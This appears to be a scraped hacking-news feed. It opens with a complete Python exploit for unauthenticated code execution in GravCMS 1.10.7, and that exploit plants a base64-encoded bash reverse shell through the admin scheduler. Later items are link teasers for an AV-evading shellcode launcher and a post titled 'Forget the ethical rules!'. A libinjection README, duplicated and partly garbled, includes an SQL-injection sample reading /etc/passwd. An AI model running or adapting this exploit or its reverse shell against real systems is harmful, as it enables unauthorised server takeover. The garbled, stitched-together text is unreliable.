Exploit Collector
GravCMS 1.10.7 Arbitrary YAML Write / Update

https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
GravCMS version 1.10.7 unauthenticated arbitrary YAML write/update exploit. This is a variant exploit of the original discovery made by Mehmet Ince in April of 2021.

MD5 | d339a4b0bbbddf85756e2cdfe1e8e8ed

Download
# Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
# Original Exploit Author: Mehmet Ince
# Vendor Homepage: https://getgrav.org
# Version: 1.10.7
# Tested on: Debian 10
# Author: legend

#/usr/bin/python3

import requests
import sys
import re
import base64
target= "http://192.168.1.2"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
payload=b"""/*<?php
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMy80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
url = target + "/admin/tools/scheduler"
data = "admin-nonce="+adminNonce
data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)


Source:packetstormsecurity.com

Exploit Collector
n+otes 1.6.2 Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Charlotte : C++ Fully Undetected Shellcode Launcher

Charlotte is an c++ fully undetected shellcode launcher . Description 13/05/2021: c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021. dynamic invoking of win32 api functions XOR encryption of shellcode and function names randomised XOR keys and variables per run on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it! 17/05/2021: random strings […]

The post Charlotte : C++ Fully Undetected Shellcode Launcher appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking Medium

https://cdn-images-1.medium.com/max/2600/1*KGJzt9ppvox08ed7JbiXuA.jpeg
Forget the ethical rules!

Continue reading on Checkmate »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Here is how cryptocurrency is handled when it’s stolen or used as ransom.

This will explain what happened when the FBI went after the hackers that hit the Colonial Pipeline.

Continue reading on Medium »

Hacking on Medium
Shodan — the search engine for IoT

https://cdn-images-1.medium.com/max/1200/1*1wXowseQxJw2BQkWGqvKng.jpeg
Today, a substantial number of devices are hooked up to the internet, ranging from cellphones and watches to air conditioners and…

Continue reading on Medium »

Hacking on Medium
Sar(vulnhub) — Walkthrough | OSCP like lab | OSCP prep

https://cdn-images-1.medium.com/max/1366/1*HbBF68s_8SLh3OT8S7b3ng.png
Hello hackers,First of all I would like to tell you this is the first blog i am writing so there can be chances of mistake so please give…

Continue reading on Medium »

KitPloit - PenTest Tools!
Libinjection - SQL / SQLI Tokenizer Parser Analyzer

https://1.bp.blogspot.com/-W4TuZEsw8qs/YL1rYAxHFlI/AAAAAAAAZ8s/Qjo4jvaQaaM7K5iBhMxYB9JpNgMVka0rQCNcBGAsYHQ/w640-h272/sqli.png SQL / SQLI tokenizer parser analyzer. For

* C and C++
* PHP
* Python
* Lua
* Java (external port)
* [LuaJIT/FFI] (https://github.com/p0pr0ck5/lua-ffi-libinjection) (external port)

See https://www.client9.com/ for details and presentations.
Simple example: fingerprint of '%s'\n", state.fingerprint); } return issqli; } ">#include $ gcc -Wall -Wextra examples.c libinjection_sqli.c
$ ./a.out "-1' and 1=1 union/* foo */select load_file('/etc/passwd')--"
sqli detected with fingerprint of 's&1UE' More advanced samples:

* sqli_cli.c
* reader.c
* fptool VERSION INFORMATIONSee CHANGELOG for details.

Versions are listed as "major.minor.point"

Major are significant changes to the API and/or fingerprint format. Applications will need recompiling and/or refactoring.

Minor are C code changes. These may include

* logical change to detect or suppress
* optimization changes
* code refactoring

Point releases are purely data changes. These may be safely applied. QUALITY AND DIAGNOSITICSThe continuous integration results at https://travis-ci.org/client9/libinjection tests the following:

* build and unit-tests under GCC
* build and unit-tests under Clang
* static analysis using clang static analyzer
* static analysis using cppcheck
* checks for memory errors using valgrind
* code coverage online using coveralls.io EMBEDDINGThe src directory contains everything, but you only need to copy the following into your source tree:

* src/libinjection.h
* src/libinjection_sqli.c
* src/libinjection_sqli_data.h
* COPYING Download Libinjection

___________________________
@hacking_Attack
@Hacking_Video

Libinjection - SQL / SQLI Tokenizer Parser Analyzer
http://www.kitploit.com/2021/06/libinjection-sql-sqli-tokenizer-parser.html

SQL / SQLI tokenizer parser analyzer. For C and C++ PHP (https://libinjection.client9.com/doc-sqli-php) Python (https://libinjection.client9.com/doc-sqli-python) Lua (https://github.com/client9/libinjection/blob/master/lua) Java (https://github.com/jeonglee/Libinjection) (external port) [LuaJIT/FFI] (https://github.com/p0pr0ck5/lua-ffi-libinjection) (external port) See https://www.client9.com/ for details and presentations.
Simple example: #include #include #include "libinjection.h" #include "libinjection_sqli.h" int main(int argc, const char* argv[]) { struct libinjection_sqli_state state; int issqli; const char* input = argv[1]; size_t slen = strlen(input); /* in real-world, you would url-decode the input, etc */ libinjection_sqli_init(&state, input, slen, FLAG_NONE); issqli = libinjection_is_sqli(&state); if (issqli) { fprintf(stderr, "sqli detected with fingerprint of '%s'\n", state.fingerprint); } return issqli; } ">#include
#include
#include
#include "libinjection.h"
#include "libinjection_sqli.h"

int main(int argc, const char* argv[])
{
struct libinjection_sqli_state state;
int issqli;

const char* input = argv[1];
size_t slen = strlen(input);

/* in real-world, you would url-decode the input, etc */

libinjection_sqli_init(&state, input, slen, FLAG_NONE);
issqli = libinjection_is_sqli(&state);
if (issqli) {
fprintf(stderr, "sqli detected with fingerprint of '%s'\n", state.fingerprint);
}
return issqli;
} $ gcc -Wall -Wextra examples.c libinjection_sqli.c
$ ./a.out "-1' and 1=1 union/* foo */select load_file('/etc/passwd')--"
sqli detected with fingerprint of 's&1UE'
More advanced samples: sqli_cli.c (https://github.com/client9/libinjection/blob/master/src/sqli_cli.c) reader.c (https://github.com/client9/libinjection/blob/master/src/reader.c) fptool (https://github.com/client9/libinjection/blob/master/src/fptool.c)
VERSION INFORMATION
See CHANGELOG (https://github.com/client9/libinjection/blob/master/CHANGELOG) for details. Versions are listed as "major.minor.point" Major are significant changes to the API and/or fingerprint format. Applications will need recompiling and/or refactoring. Minor are C code changes. These may include logical change to detect or suppress optimization changes code refactoring Point releases are purely data changes. These may be safely applied.
QUALITY AND DIAGNOSITICS
The continuous integration (https://www.kitploit.com/search/label/Continuous%20Integration) results at https://travis-ci.org/client9/libinjection tests the following: build and unit-tests under GCC build and unit-tests under Clang static analysis (https://www.kitploit.com/search/label/Static%20Analysis) using clang static analyzer (http://clang-analyzer.llvm.org/) static analysis (https://www.kitploit.com/search/label/Analysis) using cppcheck (https://github.com/danmar/cppcheck) checks for memory (https://www.kitploit.com/search/label/Memory) errors using valgrind (http://valgrind.org/) code coverage online using coveralls.io (https://coveralls.io/github/client9/libinjection)
EMBEDDING
The src (https://github.com/client9/libinjection/tree/master/src) directory contains everything, but you only need to copy the following into your source tree: src/libinjection.h (https://github.com/client9/libinjection/blob/master/src/libinjection.h) src/libinjection_sqli.c (https://github.com/client9/libinjection/blob/master/src/libinjection_sqli.c) src/libinjection_sqli_data.h (https://github.com/client9/libinjection/blob/master/src/libinjection_sqli_data.h) COPYING (https://github.com/client9/libinjection/blob/master/COPYING)

Download Libinjection (https://github.com/client9/libinjection)

Deep Web
Does connection timed out mean the site is dead?

I stumbled upon dozens of sites that just quite load it seems. TOR doesn't say it's dead, it just says that it's taking a long time time. Still can't load them, so can I access them somehow?

submitted by /u/343intact
[link] [comments]

No Rate Limit Forgot Password [skilvul.com]
https://alpinnnnnn13.medium.com/no-rate-limit-forgot-password-skilvul-com-18eaf5c3a54e?source=rss------bug_bounty-5

Hallo teman teman perkenalkan nama saya Mohammad Alfin Hidayatullah, Saya ingin menceritakan bagaimana saya menemukan bug NO RATE LIMIT di…Continue reading on Medium » (https://alpinnnnnn13.medium.com/no-rate-limit-forgot-password-skilvul-com-18eaf5c3a54e?source=rss------bug_bounty-5)